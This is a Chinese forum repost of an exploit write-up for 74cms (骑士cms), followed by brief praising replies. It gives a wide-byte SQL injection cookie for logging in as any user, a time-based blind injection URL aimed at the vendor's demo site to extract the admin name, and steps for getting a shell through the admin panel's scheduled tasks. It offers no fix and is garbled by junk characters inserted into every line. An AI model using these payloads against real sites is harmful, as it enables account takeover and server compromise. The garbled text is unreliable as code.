找回密码
 加入怎通
查看: 523|回复: 4

[SEM行业] 骑士cms注入及后台拿shell

[复制链接]
寻路者 发表于 2013-01-07 16:50:49 | 显示全部楼层 |阅读模式
0x1 任意用户登录/ [% _: r6 a5 k5 H
) f; }; q, Y0 P! L8 X1 r/ l; C* O! r
  0x2 盲注
! T- _" ^+ ^9 _1 c; i+ z
8 W7 G) C5 @3 d+ L/ e  0x3 后台拿shell
, P4 x) C$ y' [2 P0 b7 t/ m
+ S. p5 ?! w5 R4 b: r' E* e  0x4 随机函数问题
5 X# D: y+ _4 r( W9 p9 ]: S/ u7 _
% C+ t  S: J. X1 G5 w# R  详细说明:5 U8 W6 ~) ^6 c& x2 l1 @; M$ L2 J

! @% ?: [) T7 T3 J+ b' W  0x1 任意用户登录/ D* d; K7 ]8 V& f9 B8 _; U2 J
4 X$ h: s  \- o" e8 z
  user/login.php- o5 k2 q' S4 V# p& U0 Q

- O2 M" ?% h; c6 U) ?* B- e  elseif((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) && $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])1 t. ~1 \! b; z: ?

& ]+ O0 B. z- G. I+ o, Y  {) G8 G! v% U' m

4 e& P& ^, h( p) n) v* S  if(check_cookie($_COOKIE['QS']['username'],$_COOKIE['QS']['password']))! h' [$ v* m# @' |

7 i' r8 L/ s5 w3 H, n1 U- y1 ^  {
# {' U, ^4 z' L9 A4 N; @
5 ~# R6 |5 g' Z5 L+ Q2 T8 A  `  update_user_info($_COOKIE['QS']['uid'],false,false);' p# p% T) Q3 B+ O: g& g
3 C6 q% C4 j1 y* x. I' s
  header("Location:".get_member_url($_SESSION['utype']));% }& K2 y3 ?7 s* ^3 B  j: O

+ n* j0 B! h% a) m* S' L  }* v. @2 j8 }- f) ~

) e/ T0 {/ @! i  [, l  else; O. {( S* @6 s! ]2 y( D

1 m9 r3 S9 K# o& A' Y1 a# q0 r  {
1 m& Y9 a2 ?. N( W9 E; i2 v- {6 G  b# L6 v2 f: F. T
  unset($_SESSION['uid'],$_SESSION['username'],$_SESSION['utype'],$_SESSION['uqqid'],$_SESSION['activate_username'],$_SESSION['activate_email'],$_SESSION["openid"]);
) h/ O% n) u0 f
8 y+ y! O& _) C8 l3 l! q, U  setcookie("QS[uid]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);
6 ?' s/ z7 a9 Y$ \' A" }, z: W
  V' }0 z* k- H8 B2 W2 e  setcookie('QS[username]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);4 ?/ E7 t9 u$ x5 g3 O

* w0 d! b" z+ S. l' D( k7 h9 p  setcookie('QS[password]',"", time() - 3600,$QS_cookiepath, $QS_cookiedomain);
8 }$ I6 L; a, ]# s8 m6 Q
0 S1 p. k/ j9 [: ]; C3 k% [  setcookie("QS[utype]","",time() - 3600,$QS_cookiepath, $QS_cookiedomain);: L& i9 l: }( `( |6 A; t9 T
& l4 I5 t  k+ U' y9 L' _0 p/ m; ?
  header("Location:".url_rewrite('QS_login'));; w) T+ q  W1 ]/ K: H8 P) n; \
$ |1 P% _1 G; P  c
  }
* h4 I4 t& l5 b# y; T" C
7 |' P5 r: Z  Y: v* ~* o  }
6 v& a, _/ w' L1 Y
, x3 x3 Z9 M6 m# w2 g! O7 u: m" w7 a2 E  include/fun_user.php
5 X7 s9 z/ K1 A% R3 @
2 ?  U# K) B; Z& v5 t# v% f  //检测COOKIE- `  v  [4 `5 b+ s6 y$ Y+ p: y1 ]1 ?

7 O- q# }& k6 O  function check_cookie($name,$pwd){
' n+ O/ q3 Y- ], l6 ^% u2 P& V9 a* r
  global $db;6 X2 c: ?! K8 h. S- N0 W& U) K
. c' B6 ^6 P+ Z
  $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE username='{$name}' and password = '{$pwd}'");
: Z9 e+ M* R+ C- k" i8 T1 M; T: }6 ~" m  U1 v
  if($row['num'] > 0)
5 \$ e8 @' J* ~* U
* C, `; b" l2 A' M. Y2 I9 z6 C7 l  {
; W( o( T9 Y% I) F0 h" d0 ]* T
6 d) `& D" t5 `9 i; t9 [5 N  return true;
, A  O- E5 z* v7 v, m5 Z1 A$ ]
2 @" c; O" J! ]7 O) Y9 n  }else{
* b! @0 C% n5 o! x( ~3 \1 g) ?+ Z; o2 O# B
  return false;  C, {7 n. U" Z* j, R( R3 `* R* Q6 a
. J* k4 V- y9 T! ^
  }
6 t3 V: O8 B8 T4 a- X6 [6 R  j# r: J& P  a2 G5 A
  }+ N, p& [! o& V2 E! a
( `% x' D% v: j0 K
  构造cookie如下
- H2 s" A: k9 V; X& L& `3 @. o- Y) D
  ?9 t0 S" x1 I3 {# e, a! y  QS[uid] 2  z% d* K/ K$ r- x% I

, @. c' L5 N: @) P* n0 r- Y) q  QS[utype] 1: L8 `# O3 g7 t7 i
+ N7 O+ d' G2 O: B8 |
  QS[password] 111111111111111111111% R+ G7 n  H3 {% I" b; X' Y8 g# G
& w- t$ i0 D- P8 g, C
  QS[username]%bf%27 or 1=1 %23' W- N+ B# O* D7 `7 x8 D

5 B* U/ K+ {  x$ N+ }. x  uid 为假冒用户的ID utype为用户类型password任意& `# N. s! [# f! u7 f% n

% W  G  G' L3 f+ ^+ F  0x2 盲注5 \) q' x8 d! E% L
2 M: E2 H7 U, I& ^5 E9 G' a
  http://demo32.74cms.com//resume/resume-list.php?key=test00%bf')/**/and+if((select/**/admin_name/**/from/**/qs_admin/**/limit/**/0,1)=0x61646D696E,benchmark(1000000000,(select/**/1)),1)/**/%231 O5 |0 t" T8 H$ f
8 H* B5 z$ O9 H- V. s
  上面两个都是宽字节注入,如果你能猜出管理员密码,还能解出双重md5的话,还能猜出后台路径,继续看下面2 d& T* l* D7 ?3 ]) Y6 j
: P+ N- f/ n5 R. `
  0x3 后台拿shell# {/ Z, Y& p$ }! d  ~% P

. \" k+ [- G8 l6 M% v  j7 x* ?8 J  1.先关闭csrf防御功能
7 Y' o& T! ?7 s  i
) S( w* N* R0 m% e! B" t/ L  2.在hr工具箱中添加一个伪造的doc,内容为,记下路径data/hrtools/2012/06/1339941553308.doc
: Y: l9 n2 d( m6 v) D6 Z6 i+ O0 O- z' s- h/ N5 r; A7 `; N, O
  3.在工具-计划任务中添加任务,脚本任务填../../data/hrtools/2012/06/1339941553308.doc# z8 B* w/ ?. k; z: D7 K

  N; f* [* N$ h( K- n  \. l6 C  4.然后执行* f, m. F, U& g- l; V3 O/ ]

5 p9 [  k: T- X* I3 T  0x4 随机函数问题(几乎可以无视,纯属个人YY), N" l9 Y# c; F# F  y( n
7 ?! K0 R2 b# Q
  在admin_common.fun.inc.php中有个$QS_pwdhash是在安装的时候赋值的,只要能猜出就可已不用解双重md5了。  R3 i+ U% ^7 t: `

8 _: B: d6 p+ ]7 @/ h5 z+ c. j  这个$QS_pwdhash是由randstr生成2 Z* g  |3 c! f: y5 E
7 C9 [/ E8 c: ^" G* X
  function randstr($length=6)! W; t0 z7 s2 g' w$ w

0 W* \$ ?4 o2 i  {7 M" R& L: g1 X' U/ G

! |$ Q  l/ ?* F5 L( d  $hash='';* Z. t6 Q" ]2 c; C% O% T+ z
. z) Z: g4 Z7 ~- ?3 L3 S. y, }
  $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';
6 B; @% x- A6 z5 D( e5 l) j% e) Q3 h4 |3 y
  $max=strlen($chars)-1;. p; a( [  n, g8 T  v
) E, q2 y. Z$ N! Z. ?7 O
  mt_srand((double)microtime()*1000000);
" p: d5 C/ Y1 Q' v; ]* N4 T+ v+ k, a! c& b" A) G# b
  for($i=0;$i<$length;$i++) {  g4 \  y  k& ~
/ d: o/ b- M7 {& Q: P, S( \; Z
  $hash.=$chars[mt_rand(0,$max)];
! h( ~6 g* f! {: D
+ `7 ?" e  K9 u5 {! N5 p  }  q1 X; A. q$ v

" w! e1 B& N7 o1 _9 z3 ?/ \8 K  t  return $hash;- W- z+ t' _! a# ?0 ]

+ i& y0 j4 t6 w  }
+ A5 C7 D' T$ H% U1 y) V2 T5 d" G# n
  生成长度为6的随机数,mt_srand()播种一样,就会得到一样的随机数,所以我们最多要猜1000000次就可以了(蛋疼)6 ~  k. |! ~5 W6 @9 a

9 `- A' K4 j2 {# i0 p0 @  漏洞证明:
8 N; ?) b' |; }$ F! M4 i! g: f: M( h& |3 i1 v1 N
  修复方案:; q- L) ^$ g; d$ q' S& i- s

  U5 r7 _6 |* q  ~: j  do it yourself~" X4 I2 t! ^! A+ h+ N/ |
; e. R+ o7 c) I
解决一切网站安全,湖盟云防火墙:hnhack.com

暂时无法加载帖子列表

回复

使用道具 举报

leonseo444 发表于 2026-01-07 03:59:27 | 显示全部楼层
学习到了,之前一直没注意过这个点,受教了
回复

使用道具 举报

彼岸花 发表于 2026-03-13 13:46:09 | 显示全部楼层
刚好遇到类似问题,看完这个帖子心里有底了
回复

使用道具 举报

知足常乐 发表于 2026-05-25 10:07:43 | 显示全部楼层
说得很实在,没有夸大其词,这种真实分享太难得了
回复

使用道具 举报

魔术 发表于 2026-09-01 19:28:54 | 显示全部楼层
这个思路很新颖,打开了新世界的大门,谢谢分享
回复

使用道具 举报

    您需要登录后才可以回帖 登录 | 加入怎通

    本版积分规则

    QQ|手机版|小黑屋|网站地图|真牛社区 ( 苏ICP备2023040716号-2 )

    GMT+8, 2026-9-10 21:51 , Processed in 0.042660 second(s), 26 queries , Gzip On.

    免责声明:本站信息来自互联网,本站不对其内容真实性负责,如有侵权等情况请联系420897364#qq.com(把#换成@)删除。

    Powered by Discuz! X3.5

    快速回复 返回顶部 返回列表